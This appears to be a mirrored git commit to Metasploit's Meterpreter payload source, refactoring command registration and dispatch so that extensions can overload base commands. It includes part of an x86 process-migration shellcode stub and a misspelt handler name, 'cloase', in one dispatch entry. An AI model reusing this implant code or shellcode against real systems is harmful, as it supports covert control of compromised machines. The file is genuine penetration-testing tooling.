mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-02-28 06:13:03 +01:00
Land #56, command overloads
This commit is contained in:
commit
7260569bd1
7
c/meterpreter/.gitignore
vendored
7
c/meterpreter/.gitignore
vendored
@ -21,6 +21,10 @@ tags
|
||||
# project config output
|
||||
r7_release
|
||||
r7_debug
|
||||
debug
|
||||
release
|
||||
Debug
|
||||
Release
|
||||
|
||||
# temporary files
|
||||
*.swp
|
||||
@ -39,7 +43,8 @@ workspace/Backup/*
|
||||
source/jpeg-8/Backup/*
|
||||
|
||||
# other VS garbage
|
||||
*.*proj.filters
|
||||
*.suo
|
||||
*.ncb
|
||||
|
||||
# ignore posix temp stuff
|
||||
posix-meterp-build-tmp/*
|
||||
|
@ -46,6 +46,10 @@ IF "%ERRORLEVEL%" == "0" (
|
||||
)
|
||||
)
|
||||
|
||||
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
|
||||
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
|
||||
echo Finished %ldt%
|
||||
|
||||
GOTO :END
|
||||
|
||||
:CLEAN
|
||||
|
@ -45,22 +45,11 @@ DWORD ex_remote_request_core_channel_close(Remote *remote, Packet *packet)
|
||||
****************************/
|
||||
|
||||
// Dispatch table
|
||||
Command custom_commands[] =
|
||||
Command customCommands[] =
|
||||
{
|
||||
{ "core_channel_open",
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ ex_remote_response_core_channel_open, { 0 }, 0 },
|
||||
},
|
||||
{ "core_channel_close",
|
||||
{ ex_remote_request_core_channel_close, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
COMMAND_REP("core_channel_open", ex_remote_response_core_channel_open),
|
||||
COMMAND_REP("core_channel_close", ex_remote_response_core_channel_cloase),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
|
||||
@ -69,12 +58,7 @@ Command custom_commands[] =
|
||||
*/
|
||||
VOID remote_register_core_dispatch_routines()
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
custom_commands[index].method;
|
||||
index++)
|
||||
command_register(&custom_commands[index]);
|
||||
command_register_all(customCommands);
|
||||
}
|
||||
|
||||
/*
|
||||
@ -82,10 +66,5 @@ VOID remote_register_core_dispatch_routines()
|
||||
*/
|
||||
VOID remote_deregister_core_dispatch_routines()
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
for (index = 0;
|
||||
custom_commands[index].method;
|
||||
index++)
|
||||
command_deregister(&custom_commands[index]);
|
||||
command_deregister_all(customCommands);
|
||||
}
|
||||
|
@ -1,9 +1,6 @@
|
||||
#include "common.h"
|
||||
#include "base_inject.h"
|
||||
|
||||
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
|
||||
extern THREAD * serverThread;
|
||||
|
||||
// see '/msf3/external/source/shellcode/x86/migrate/migrate.asm'
|
||||
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
|
||||
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
|
||||
|
@ -47,7 +47,7 @@ DWORD THREADCALL command_process_thread( THREAD * thread );
|
||||
/*!
|
||||
* @brief Base RPC dispatch table.
|
||||
*/
|
||||
Command base_commands[] =
|
||||
Command baseCommands[] =
|
||||
{
|
||||
// Console commands
|
||||
{ "core_console_write",
|
||||
@ -83,7 +83,7 @@ Command base_commands[] =
|
||||
* @brief Dynamically registered command extensions.
|
||||
* @details A linked list of commands registered on the fly by reflectively-loaded extensions.
|
||||
*/
|
||||
Command *extension_commands = NULL;
|
||||
Command *extensionCommands = NULL;
|
||||
|
||||
/*!
|
||||
* @brief Register a full list of commands with meterpreter.
|
||||
@ -94,7 +94,9 @@ void command_register_all(Command commands[])
|
||||
DWORD index;
|
||||
|
||||
for (index = 0; commands[index].method; index++)
|
||||
command_register( &commands[index] );
|
||||
{
|
||||
command_register(&commands[index]);
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -114,13 +116,15 @@ DWORD command_register(Command *command)
|
||||
memcpy(newCommand, command, sizeof(Command));
|
||||
|
||||
dprintf("Setting new command...");
|
||||
if (extension_commands)
|
||||
extension_commands->prev = newCommand;
|
||||
if (extensionCommands)
|
||||
{
|
||||
extensionCommands->prev = newCommand;
|
||||
}
|
||||
|
||||
dprintf("Fixing next/prev...");
|
||||
newCommand->next = extension_commands;
|
||||
newCommand->prev = NULL;
|
||||
extension_commands = newCommand;
|
||||
dprintf("Fixing next/prev... %p", newCommand);
|
||||
newCommand->next = extensionCommands;
|
||||
newCommand->prev = NULL;
|
||||
extensionCommands = newCommand;
|
||||
|
||||
dprintf("Done...");
|
||||
return ERROR_SUCCESS;
|
||||
@ -135,7 +139,9 @@ void command_deregister_all(Command commands[])
|
||||
DWORD index;
|
||||
|
||||
for (index = 0; commands[index].method; index++)
|
||||
{
|
||||
command_deregister(&commands[index]);
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -149,7 +155,7 @@ DWORD command_deregister(Command *command)
|
||||
DWORD res = ERROR_NOT_FOUND;
|
||||
|
||||
// Search the extension list for the command
|
||||
for (current = extension_commands, prev = NULL;
|
||||
for (current = extensionCommands, prev = NULL;
|
||||
current;
|
||||
prev = current, current = current->next)
|
||||
{
|
||||
@ -157,12 +163,18 @@ DWORD command_deregister(Command *command)
|
||||
continue;
|
||||
|
||||
if (prev)
|
||||
{
|
||||
prev->next = current->next;
|
||||
}
|
||||
else
|
||||
extension_commands = current->next;
|
||||
{
|
||||
extensionCommands = current->next;
|
||||
}
|
||||
|
||||
if (current->next)
|
||||
{
|
||||
current->next->prev = prev;
|
||||
}
|
||||
|
||||
// Deallocate it
|
||||
free(current);
|
||||
@ -175,19 +187,21 @@ DWORD command_deregister(Command *command)
|
||||
return res;
|
||||
}
|
||||
|
||||
/*! * @brief A list of all command threads currenlty executing. */
|
||||
/*! @brief A list of all command threads currenlty executing. */
|
||||
LIST * commandThreadList = NULL;
|
||||
|
||||
/*!
|
||||
* @brief Block untill all running command threads have finished.
|
||||
*/
|
||||
VOID command_join_threads( VOID )
|
||||
VOID command_join_threads(VOID)
|
||||
{
|
||||
while( list_count( commandThreadList ) > 0 )
|
||||
while (list_count(commandThreadList) > 0)
|
||||
{
|
||||
THREAD * thread = (THREAD *)list_get( commandThreadList, 0 );
|
||||
if( thread )
|
||||
thread_join( thread );
|
||||
THREAD * thread = (THREAD *)list_get(commandThreadList, 0);
|
||||
if (thread)
|
||||
{
|
||||
thread_join(thread);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -199,7 +213,8 @@ VOID command_join_threads( VOID )
|
||||
*/
|
||||
VOID reap_zombie_thread(void * param)
|
||||
{
|
||||
while(1) {
|
||||
while(1)
|
||||
{
|
||||
waitpid(-1, NULL, __WCLONE);
|
||||
// on 2.6 kernels, don't chew 100% CPU
|
||||
usleep(500000);
|
||||
@ -209,7 +224,8 @@ VOID reap_zombie_thread(void * param)
|
||||
|
||||
/*!
|
||||
* @brief Process a command directly on the current thread.
|
||||
* @param command Pointer to the \c Command to be executed.
|
||||
* @param baseCommand Pointer to the \c Command in the base command list to be executed.
|
||||
* @param extensionCommand Pointer to the \c Command in the extension command list to be executed.
|
||||
* @param remote Pointer to the \c Remote endpoint for this command.
|
||||
* @param packet Pointer to the \c Packet containing the command detail.
|
||||
* @returns Boolean value indicating if the server should continue processing.
|
||||
@ -217,82 +233,162 @@ VOID reap_zombie_thread(void * param)
|
||||
* @retval FALSE The server should stop processing and shut down.
|
||||
* @sa command_handle
|
||||
* @sa command_process_thread
|
||||
* @remarks The \c baseCommand is always executed first, but if there is an \c extensionCommand
|
||||
* then the result of the \c baseCommand processing is ignored and the result of
|
||||
* \c extensionCommand is returned instead.
|
||||
*/
|
||||
BOOL command_process_inline( Command *command, Remote *remote, Packet *packet )
|
||||
BOOL command_process_inline(Command *baseCommand, Command *extensionCommand, Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD result;
|
||||
BOOL serverContinue = TRUE;
|
||||
Tlv requestIdTlv;
|
||||
PCHAR requestId;
|
||||
PacketTlvType packetTlvType;
|
||||
|
||||
dprintf( "[COMMAND] Executing command %s", command->method );
|
||||
Command *commands[2] = { baseCommand, extensionCommand };
|
||||
Command *command = NULL;
|
||||
DWORD dwIndex;
|
||||
LPCSTR lpMethod = NULL;
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
#ifdef _WIN32
|
||||
// Impersonate the thread token if needed (only on Windows)
|
||||
if(remote->hServerToken != remote->hThreadToken) {
|
||||
if(! ImpersonateLoggedOnUser(remote->hThreadToken)) {
|
||||
dprintf( "[COMMAND] Failed to impersonate thread token (%s) (%u)", command->method, GetLastError());
|
||||
for (dwIndex = 0; dwIndex < 2; ++dwIndex)
|
||||
{
|
||||
command = commands[dwIndex];
|
||||
|
||||
if (command == NULL)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
lpMethod = command->method;
|
||||
dprintf("[COMMAND] Executing command %s", lpMethod);
|
||||
|
||||
#ifdef _WIN32
|
||||
// Impersonate the thread token if needed (only on Windows)
|
||||
if (dwIndex == 0 && remote->hServerToken != remote->hThreadToken)
|
||||
{
|
||||
if (!ImpersonateLoggedOnUser(remote->hThreadToken))
|
||||
{
|
||||
dprintf("[COMMAND] Failed to impersonate thread token (%s) (%u)", lpMethod, GetLastError());
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
// Validate the arguments, if requested. Always make sure argument
|
||||
// lengths are sane.
|
||||
if( command_validate_arguments( command, packet ) != ERROR_SUCCESS )
|
||||
break;
|
||||
// Validate the arguments, if requested. Always make sure argument
|
||||
// lengths are sane.
|
||||
if (command_validate_arguments(command, packet) != ERROR_SUCCESS)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
packetTlvType = packet_get_type( packet );
|
||||
switch ( packetTlvType )
|
||||
{
|
||||
case PACKET_TLV_TYPE_REQUEST:
|
||||
case PACKET_TLV_TYPE_PLAIN_REQUEST:
|
||||
if (command->request.inline_handler) {
|
||||
dprintf( "[DISPATCH] executing inline request handler %s", command->method );
|
||||
serverContinue = command->request.inline_handler( remote, packet, &result );
|
||||
} else {
|
||||
dprintf( "[DISPATCH] executing request handler %s", command->method );
|
||||
result = command->request.handler( remote, packet );
|
||||
packetTlvType = packet_get_type(packet);
|
||||
switch (packetTlvType)
|
||||
{
|
||||
case PACKET_TLV_TYPE_REQUEST:
|
||||
case PACKET_TLV_TYPE_PLAIN_REQUEST:
|
||||
if (command->request.inline_handler) {
|
||||
dprintf("[DISPATCH] executing inline request handler %s", lpMethod);
|
||||
serverContinue = command->request.inline_handler(remote, packet, &result) && serverContinue;
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[DISPATCH] executing request handler %s", lpMethod);
|
||||
result = command->request.handler(remote, packet);
|
||||
}
|
||||
break;
|
||||
case PACKET_TLV_TYPE_RESPONSE:
|
||||
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
|
||||
if (command->response.inline_handler)
|
||||
{
|
||||
dprintf("[DISPATCH] executing inline response handler %s", lpMethod);
|
||||
serverContinue = command->response.inline_handler(remote, packet, &result) && serverContinue;
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[DISPATCH] executing response handler %s", lpMethod);
|
||||
result = command->response.handler(remote, packet);
|
||||
}
|
||||
break;
|
||||
}
|
||||
break;
|
||||
case PACKET_TLV_TYPE_RESPONSE:
|
||||
case PACKET_TLV_TYPE_PLAIN_RESPONSE:
|
||||
if (command->response.inline_handler) {
|
||||
dprintf( "[DISPATCH] executing inline response handler %s", command->method );
|
||||
serverContinue = command->response.inline_handler( remote, packet, &result );
|
||||
} else {
|
||||
dprintf( "[DISPATCH] executing response handler %s", command->method );
|
||||
result = command->response.handler( remote, packet );
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[COMMAND] Calling completion handlers...");
|
||||
|
||||
// Get the request identifier if the packet has one.
|
||||
if ( packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv ) == ERROR_SUCCESS )
|
||||
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestIdTlv) == ERROR_SUCCESS)
|
||||
{
|
||||
requestId = (PCHAR)requestIdTlv.buffer;
|
||||
}
|
||||
|
||||
// Finally, call completion routines for the provided identifier
|
||||
if( ((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
|
||||
packet_call_completion_handlers( remote, packet, requestId );
|
||||
if (((packetTlvType == PACKET_TLV_TYPE_RESPONSE) || (packetTlvType == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && requestId)
|
||||
{
|
||||
packet_call_completion_handlers(remote, packet, requestId);
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
dprintf("[COMMAND] Completion handlers finished for %s. Returning: %s", lpMethod, (serverContinue ? "TRUE" : "FALSE"));
|
||||
} while (0);
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
dprintf("[COMMAND] Exception hit in command %s", command->method );
|
||||
dprintf("[COMMAND] Exception hit in command %s", lpMethod);
|
||||
}
|
||||
|
||||
packet_destroy( packet );
|
||||
packet_destroy(packet);
|
||||
|
||||
return serverContinue;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attempt to locate a command in the base command list.
|
||||
* @param method String that identifies the command.
|
||||
* @returns Pointer to the command entry in the base command list.
|
||||
* @retval NULL Indicates that no command was found for the given method.
|
||||
* @retval NON-NULL Pointer to the command that can be executed.
|
||||
*/
|
||||
Command* command_locate_base(const char* method)
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
dprintf("[COMMAND EXEC] Attempting to locate base command %s", method);
|
||||
for (index = 0; baseCommands[index].method; ++index)
|
||||
{
|
||||
if (strcmp(baseCommands[index].method, method) == 0)
|
||||
{
|
||||
return &baseCommands[index];
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[COMMAND EXEC] Couldn't find base command %s", method);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attempt to locate a command in the extensions command list.
|
||||
* @param method String that identifies the command.
|
||||
* @returns Pointer to the command entry in the extensions command list.
|
||||
* @retval NULL Indicates that no command was found for the given method.
|
||||
* @retval NON-NULL Pointer to the command that can be executed.
|
||||
*/
|
||||
Command* command_locate_extension(const char* method)
|
||||
{
|
||||
Command* command;
|
||||
|
||||
dprintf("[COMMAND EXEC] Attempting to locate extension command %s (%p)", method, extensionCommands);
|
||||
for (command = extensionCommands; command; command = command->next)
|
||||
{
|
||||
if (strcmp(command->method, method) == 0)
|
||||
{
|
||||
return command;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[COMMAND EXEC] Couldn't find extension command %s", method);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Handle an incoming command.
|
||||
* @param remote Pointer to the \c Remote instance associated with this command.
|
||||
@ -310,40 +406,63 @@ BOOL command_process_inline( Command *command, Remote *remote, Packet *packet )
|
||||
* @sa command_process_inline
|
||||
* @sa command_process_thread
|
||||
*/
|
||||
BOOL command_handle( Remote *remote, Packet *packet )
|
||||
BOOL command_handle(Remote *remote, Packet *packet)
|
||||
{
|
||||
BOOL result = TRUE;
|
||||
THREAD* cpt = NULL;
|
||||
Command* command = NULL;
|
||||
Command* baseCommand = NULL;
|
||||
Command* extensionCommand = NULL;
|
||||
Command** commands = NULL;
|
||||
Packet* response = NULL;
|
||||
PCHAR lpMethod = NULL;
|
||||
Tlv methodTlv;
|
||||
|
||||
do
|
||||
{
|
||||
command = command_locate( packet );
|
||||
|
||||
if( command == NULL ) {
|
||||
dprintf( "[DISPATCH] Command not found" );
|
||||
// We have no matching command for this packet, so it won't get handled. We
|
||||
// need to send an empty response and clean up here before exiting out.
|
||||
response = packet_create_response( packet );
|
||||
packet_transmit_response( ERROR_NOT_SUPPORTED, remote, response );
|
||||
packet_destroy( packet );
|
||||
if (packet_get_tlv_string(packet, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[COMMAND] Unable to extract method from packet.");
|
||||
break;
|
||||
}
|
||||
|
||||
if( command_is_inline( command, packet ) ) {
|
||||
dprintf( "[DISPATCH] Executing inline: %s", command->method );
|
||||
result = command_process_inline( command, remote, packet );
|
||||
} else {
|
||||
dprintf( "[DISPATCH] Executing in thread: %s", command->method );
|
||||
cpt = thread_create( command_process_thread, remote, packet, command );
|
||||
if( cpt )
|
||||
|
||||
lpMethod = (PCHAR)methodTlv.buffer;
|
||||
|
||||
baseCommand = command_locate_base(lpMethod);
|
||||
extensionCommand = command_locate_extension(lpMethod);
|
||||
|
||||
if (baseCommand == NULL && extensionCommand == NULL) {
|
||||
dprintf("[DISPATCH] Command not found: %s", lpMethod);
|
||||
// We have no matching command for this packet, so it won't get handled. We
|
||||
// need to send an empty response and clean up here before exiting out.
|
||||
response = packet_create_response(packet);
|
||||
packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response);
|
||||
packet_destroy(packet);
|
||||
break;
|
||||
}
|
||||
|
||||
// if either command is registered as inline, run them inline
|
||||
if ((baseCommand && command_is_inline(baseCommand, packet))
|
||||
|| (extensionCommand && command_is_inline(extensionCommand, packet)))
|
||||
{
|
||||
dprintf("[DISPATCH] Executing inline: %s", lpMethod);
|
||||
result = command_process_inline(baseCommand, extensionCommand, remote, packet);
|
||||
}
|
||||
else
|
||||
{
|
||||
dprintf("[DISPATCH] Executing in thread: %s", lpMethod);
|
||||
|
||||
commands = (Command**)malloc(sizeof(Command*) * 2);
|
||||
*commands = baseCommand;
|
||||
*(commands + 1) = extensionCommand;
|
||||
|
||||
cpt = thread_create(command_process_thread, remote, packet, commands);
|
||||
if (cpt)
|
||||
{
|
||||
dprintf( "[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle );
|
||||
thread_run( cpt );
|
||||
dprintf("[DISPATCH] created command_process_thread 0x%08X, handle=0x%08X", cpt, cpt->handle);
|
||||
thread_run(cpt);
|
||||
}
|
||||
}
|
||||
} while(0);
|
||||
} while (0);
|
||||
|
||||
return result;
|
||||
}
|
||||
@ -353,34 +472,46 @@ BOOL command_handle( Remote *remote, Packet *packet )
|
||||
* @param thread Pointer to the thread to execute.
|
||||
* @return Result of thread execution (not the result of the command).
|
||||
* @sa command_handle
|
||||
* @sa command_process_thread
|
||||
* @sa command_process_inline
|
||||
*/
|
||||
DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
DWORD THREADCALL command_process_thread(THREAD * thread)
|
||||
{
|
||||
Command * command = NULL;
|
||||
Remote * remote = NULL;
|
||||
Packet * packet = NULL;
|
||||
Command** commands = NULL;
|
||||
Remote * remote = NULL;
|
||||
Packet * packet = NULL;
|
||||
|
||||
if( thread == NULL )
|
||||
dprintf("[COMMAND] executing in thread %p", thread);
|
||||
|
||||
if (thread == NULL)
|
||||
{
|
||||
return ERROR_INVALID_HANDLE;
|
||||
}
|
||||
|
||||
remote = (Remote *)thread->parameter1;
|
||||
if( remote == NULL )
|
||||
if (remote == NULL)
|
||||
{
|
||||
return ERROR_INVALID_HANDLE;
|
||||
}
|
||||
|
||||
packet = (Packet *)thread->parameter2;
|
||||
if( packet == NULL )
|
||||
if (packet == NULL)
|
||||
{
|
||||
return ERROR_INVALID_DATA;
|
||||
}
|
||||
|
||||
command = (Command *)thread->parameter3;
|
||||
if( command == NULL )
|
||||
commands = (Command**)thread->parameter3;
|
||||
if (commands == NULL)
|
||||
{
|
||||
return ERROR_INVALID_DATA;
|
||||
}
|
||||
|
||||
if( commandThreadList == NULL )
|
||||
if (commandThreadList == NULL)
|
||||
{
|
||||
commandThreadList = list_create();
|
||||
if( commandThreadList == NULL )
|
||||
if (commandThreadList == NULL)
|
||||
{
|
||||
return ERROR_INVALID_HANDLE;
|
||||
}
|
||||
|
||||
#ifndef _WIN32
|
||||
pthread_t tid;
|
||||
@ -389,12 +520,21 @@ DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
#endif
|
||||
}
|
||||
|
||||
list_add( commandThreadList, thread );
|
||||
list_add(commandThreadList, thread);
|
||||
|
||||
command_process_inline( command, remote, packet );
|
||||
// invoke processing inline, passing in both commands
|
||||
dprintf("[COMMAND] About to execute inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1));
|
||||
command_process_inline(*commands, *(commands + 1), remote, packet);
|
||||
dprintf("[COMMAND] Executed inline -> Commands: %p Command1: %p Command2: %p", commands, *commands, *(commands + 1));
|
||||
|
||||
if( list_remove( commandThreadList, thread ) )
|
||||
thread_destroy( thread );
|
||||
if (list_remove(commandThreadList, thread))
|
||||
{
|
||||
thread_destroy(thread);
|
||||
}
|
||||
|
||||
// free things up now that the command stuff has been finished
|
||||
dprintf("[COMMAND] Cleaning up commands");
|
||||
free(commands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -424,85 +564,6 @@ BOOL command_is_inline( Command *command, Packet *packet )
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attempt to locate a command in the base command list.
|
||||
* @param method String that identifies the command.
|
||||
* @returns Pointer to the command entry in the base command list.
|
||||
* @retval NULL Indicates that no command was found for the given method.
|
||||
* @retval NON-NULL Pointer to the command that can be executed.
|
||||
*/
|
||||
Command* command_locate_base( const char* method )
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
dprintf( "[COMMAND EXEC] Attempting to locate base command %s", method );
|
||||
for( index = 0; base_commands[index].method ; ++index )
|
||||
if( strcmp( base_commands[index].method, method ) == 0 )
|
||||
return &base_commands[index];
|
||||
|
||||
dprintf( "[COMMAND EXEC] Couldn't find base command %s", method );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attempt to locate a command in the extensions command list.
|
||||
* @param method String that identifies the command.
|
||||
* @returns Pointer to the command entry in the extensions command list.
|
||||
* @retval NULL Indicates that no command was found for the given method.
|
||||
* @retval NON-NULL Pointer to the command that can be executed.
|
||||
*/
|
||||
Command* command_locate_extension( const char* method )
|
||||
{
|
||||
Command* command;
|
||||
|
||||
dprintf( "[COMMAND EXEC] Attempting to locate extension command %s", method );
|
||||
for( command = extension_commands; command; command = command->next )
|
||||
if( strcmp( command->method, method ) == 0 )
|
||||
return command;
|
||||
|
||||
dprintf( "[COMMAND EXEC] Couldn't find extension command %s", method );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attempt to locate a command to execute based on the method.
|
||||
* @param method String that identifies the command.
|
||||
* @returns Pointer to the command entry to execute.
|
||||
* @retval NULL Indicates that no command was found for the given method.
|
||||
* @retval NON-NULL Pointer to the command that can be executed.
|
||||
* @remark This function tries to find an extension command first. If
|
||||
* found it will be returned. If not, the base command list is
|
||||
* queried. This supports the notion of extensions overloading
|
||||
* the base commands.
|
||||
* @sa command_locate_extension
|
||||
* @sa command_locate_base
|
||||
*/
|
||||
Command* command_locate( Packet *packet )
|
||||
{
|
||||
Command* command = NULL;
|
||||
DWORD dwResult;
|
||||
Tlv methodTlv;
|
||||
|
||||
do
|
||||
{
|
||||
dwResult = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
|
||||
|
||||
if( dwResult != ERROR_SUCCESS ) {
|
||||
dprintf( "[COMMAND] Unable to extract method from packet." );
|
||||
break;
|
||||
}
|
||||
|
||||
// check for an overload first.
|
||||
command = command_locate_extension( (PCHAR)methodTlv.buffer );
|
||||
|
||||
// if no overload, then fallback on base.
|
||||
if( command == NULL )
|
||||
command = command_locate_base( (PCHAR)methodTlv.buffer );
|
||||
} while(0);
|
||||
|
||||
return command;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Validate command arguments
|
||||
* @return Indication of whether the commands are valid or not.
|
||||
|
@ -303,8 +303,8 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS, channelId;
|
||||
Channel *channel = NULL;
|
||||
|
||||
dprintf( "[CHANNEL] remote_request_core_channel_close." );
|
||||
|
||||
dprintf("[CHANNEL] remote_request_core_channel_close.");
|
||||
|
||||
do
|
||||
{
|
||||
@ -322,7 +322,9 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
|
||||
channel_destroy(channel, packet);
|
||||
|
||||
if (response)
|
||||
{
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId);
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -629,10 +631,12 @@ DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResu
|
||||
packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE );
|
||||
|
||||
// Transmit the response
|
||||
dprintf("[DISPATCH] Ack shutdown request");
|
||||
packet_transmit_response( result, remote, response );
|
||||
|
||||
*pResult = result;
|
||||
|
||||
dprintf("[DISPATCH] Telling dispatch loop to finish");
|
||||
// We always return FALSE here to tell the server to terminate.
|
||||
return FALSE;
|
||||
}
|
||||
|
@ -171,13 +171,13 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
|
||||
#endif
|
||||
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
|
||||
/*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
|
||||
#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
|
||||
|
||||
/*! @brief Close a service handle if not already closed and set the handle to NULL. */
|
||||
#define CLOSE_SERVICE_HANDLE( h ) if( h ) { CloseServiceHandle( h ); h = NULL; }
|
||||
|
@ -430,19 +430,9 @@ DWORD request_networkpug_stop(Remote *remote, Packet *packet)
|
||||
|
||||
Command customCommands[] =
|
||||
{
|
||||
{ "networkpug_start",
|
||||
{ request_networkpug_start, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
{ "networkpug_stop",
|
||||
{ request_networkpug_stop, { 0 }, 0 },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
},
|
||||
// Terminator
|
||||
{ NULL,
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
{ EMPTY_DISPATCH_HANDLER },
|
||||
}
|
||||
COMMAND_REQ("networkpug_start", request_networkpug_start),
|
||||
COMMAND_REQ("networkpug_stop", request_networkpug_stop),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
||||
/*
|
||||
@ -450,7 +440,6 @@ Command customCommands[] =
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
{
|
||||
DWORD index;
|
||||
int peername_len;
|
||||
struct sockaddr peername;
|
||||
struct sockaddr_in *peername4;
|
||||
@ -498,10 +487,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
|
||||
dprintf("so our filter is '%s'", packet_filter);
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_register(&customCommands[index]);
|
||||
command_register_all(customCommands);
|
||||
|
||||
pug_lock = lock_create();
|
||||
|
||||
@ -513,12 +499,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
int index;
|
||||
|
||||
for (index = 0;
|
||||
customCommands[index].method;
|
||||
index++)
|
||||
command_deregister(&customCommands[index]);
|
||||
command_deregister_all(customCommands);
|
||||
|
||||
